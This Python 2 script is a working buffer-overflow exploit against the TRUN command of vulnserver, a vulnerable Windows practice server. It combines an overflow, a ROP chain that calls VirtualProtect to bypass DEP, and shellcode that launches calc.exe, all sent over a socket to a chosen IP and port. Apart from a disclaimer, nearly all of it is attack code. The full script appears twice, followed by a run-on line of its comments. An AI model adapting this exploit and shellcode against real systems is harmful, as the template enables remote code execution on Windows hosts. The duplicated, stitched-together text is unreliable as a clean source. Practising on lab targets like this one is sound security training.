import socket, sys, struct

# Buffer Overflow with ROP-Chain
# - Attacker Operating System: Kali Linux
# - Victim Operating System: Windows 10
# - Exploitable file: https://github.com/cspshivam/bufferoverflow-prep/blob/main/vulnserver/vulnserver.exe
#
# Disclaimer: PLEASE! This is for research purposes only, and should only be used on authorized systems.
# Accessing a computer system or network without authorization or explicit permission is illegal.

if len(sys.argv) != 3:
   print "[-] Invalid arguments! Please use: python trun_buffer_overflow_rop.py <Address> <Port>"
   sys.exit(-1)

ip = sys.argv[1]
port = int(sys.argv[2])

calc = ("\x31\xc9\xf7\xe1\x64\x8b\x41"
    "\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b"
    "\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01"
    "\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01"
    "\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78"
    "\x0a\x72\x65\x73\x73\x75\xeb\x8b\x72\x24\x01"
    "\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde"
    "\x8b\x14\x8e\x01\xda\x89\xd5\x31\xc9\x68\x73"
    "\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68"
    "\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43"
    "\x72\x65\x61\x54\x53\xff\xd2\x31\xc9\xb1\xff"
    "\x31\xff\x57\xe2\xfd\x68\x63\x61\x6c\x63\x89"
    "\xe1\x51\x51\x31\xd2\x52\x52\x52\x52\x52\x52"
    "\x51\x52\xff\xd0\x83\xc4\x10\x68\x65\x73\x73"
    "\x61\x66\x83\x6c\x24\x03\x61\x68\x50\x72\x6f"
    "\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd5\x31"
    "\xc9\x51\xff\xd0")


def create_rop_chain():
   
    rop_gadgets = [
      0x779726fa,  # POP EAX # RETN [ntdll.dll] ** REBASED ** ASLR 
      0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
      0x778d3c4e,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR 
      0x76791470,  # XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR 
      0x7791295f,  # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR 
      0x625011c7,  # & jmp esp [essfunc.dll]
      0x77502e9a,  # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR 
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x76f49bf8,  # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR 
      0x75c0133d,  # XCHG EAX,EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR 
      0x7746e682,  # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR 
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x76f49bf8,  # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR 
      0x7675c549,  # XCHG EAX,EDX # RETN [WS2_32.DLL] ** REBASED ** ASLR 
      0x77257c1a,  # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR 
      0x76fb0768,  # &Writable location [KERNEL32.DLL] ** REBASED ** ASLR
      0x772696c0,  # POP EDI # RETN [msvcrt.dll] ** REBASED ** ASLR 
      0x76f49bfa,  # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
      0x772b782f,  # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR 
      0x90909090,  # nop
      0x774a7cda,  # PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR 
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

payload = "TRUN /.:/"
payload += "A" * 2003
payload += rop_chain
payload += "\x90" * 16
payload += calc
payload += "C" * (2400 - 2003 - len(rop_chain) - 16 - len(calc))

print "[+] Estabilish connection to " + ip + ":" + str(port) + "..."

try:
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.settimeout(5)
   s.connect((ip, port))
   print "[*] Connection successfully estabilished."
   s.recv(2048)
   s.send(payload + "\r\n")
   s.close()
   print "[*] Payload sent and connection closed."
except:
   print "[-] Cannot estabilish connection to " + ip + ":" + str(port) + "!"

import socket, sys, struct

# Buffer Overflow with ROP-Chain
# - Attacker Operating System: Kali Linux
# - Victim Operating System: Windows 10
# - Exploitable file: https://github.com/cspshivam/bufferoverflow-prep/blob/main/vulnserver/vulnserver.exe
#
# Disclaimer: PLEASE! This is for research purposes only, and should only be used on authorized systems.
# Accessing a computer system or network without authorization or explicit permission is illegal.

if len(sys.argv) != 3:
   print "[-] Invalid arguments! Please use: python trun_buffer_overflow_rop.py <Address> <Port>"
   sys.exit(-1)

ip = sys.argv[1]
port = int(sys.argv[2])

calc = ("\x31\xc9\xf7\xe1\x64\x8b\x41"
    "\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b"
    "\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01"
    "\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01"
    "\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78"
    "\x0a\x72\x65\x73\x73\x75\xeb\x8b\x72\x24\x01"
    "\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde"
    "\x8b\x14\x8e\x01\xda\x89\xd5\x31\xc9\x68\x73"
    "\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68"
    "\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43"
    "\x72\x65\x61\x54\x53\xff\xd2\x31\xc9\xb1\xff"
    "\x31\xff\x57\xe2\xfd\x68\x63\x61\x6c\x63\x89"
    "\xe1\x51\x51\x31\xd2\x52\x52\x52\x52\x52\x52"
    "\x51\x52\xff\xd0\x83\xc4\x10\x68\x65\x73\x73"
    "\x61\x66\x83\x6c\x24\x03\x61\x68\x50\x72\x6f"
    "\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd5\x31"
    "\xc9\x51\xff\xd0")


def create_rop_chain():
   
    rop_gadgets = [
      0x779726fa,  # POP EAX # RETN [ntdll.dll] ** REBASED ** ASLR 
      0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
      0x778d3c4e,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR 
      0x76791470,  # XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR 
      0x7791295f,  # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR 
      0x625011c7,  # & jmp esp [essfunc.dll]
      0x77502e9a,  # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR 
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x76f49bf8,  # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR 
      0x75c0133d,  # XCHG EAX,EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR 
      0x7746e682,  # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR 
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x76f49bf8,  # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR 
      0x7675c549,  # XCHG EAX,EDX # RETN [WS2_32.DLL] ** REBASED ** ASLR 
      0x77257c1a,  # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR 
      0x76fb0768,  # &Writable location [KERNEL32.DLL] ** REBASED ** ASLR
      0x772696c0,  # POP EDI # RETN [msvcrt.dll] ** REBASED ** ASLR 
      0x76f49bfa,  # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
      0x772b782f,  # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR 
      0x90909090,  # nop
      0x774a7cda,  # PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR 
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

payload = "TRUN /.:/"
payload += "A" * 2003
payload += rop_chain
payload += "\x90" * 16
payload += calc
payload += "C" * (2400 - 2003 - len(rop_chain) - 16 - len(calc))

print "[+] Estabilish connection to " + ip + ":" + str(port) + "..."

try:
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.settimeout(5)
   s.connect((ip, port))
   print "[*] Connection successfully estabilished."
   s.recv(2048)
   s.send(payload + "\r\n")
   s.close()
   print "[*] Payload sent and connection closed."
except:
   print "[-] Cannot estabilish connection to " + ip + ":" + str(port) + "!"

# Buffer Overflow with ROP-Chain # - Attacker Operating System: Kali Linux # - Victim Operating System: Windows 10 # - Exploitable file: https://github.com/cspshivam/bufferoverflow-prep/blob/main/vulnserver/vulnserver.exe # # Disclaimer: PLEASE! This is for research purposes only, and should only be used on authorized systems. # Accessing a computer system or network without authorization or explicit permission is illegal. # POP EAX # RETN [ntdll.dll] ** REBASED ** ASLR # ptr to &VirtualProtect() [IAT essfunc.dll] # MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR # XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR # & jmp esp [essfunc.dll] # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR # Value to negate, will become 0x00000201 # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR # XCHG EAX,EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR # Value to negate, will become 0x00000040 # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR # XCHG EAX,EDX # RETN [WS2_32.DLL] ** REBASED ** ASLR # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR # &Writable location [KERNEL32.DLL] ** REBASED ** ASLR # POP EDI # RETN [msvcrt.dll] ** REBASED ** ASLR # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR # nop # PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR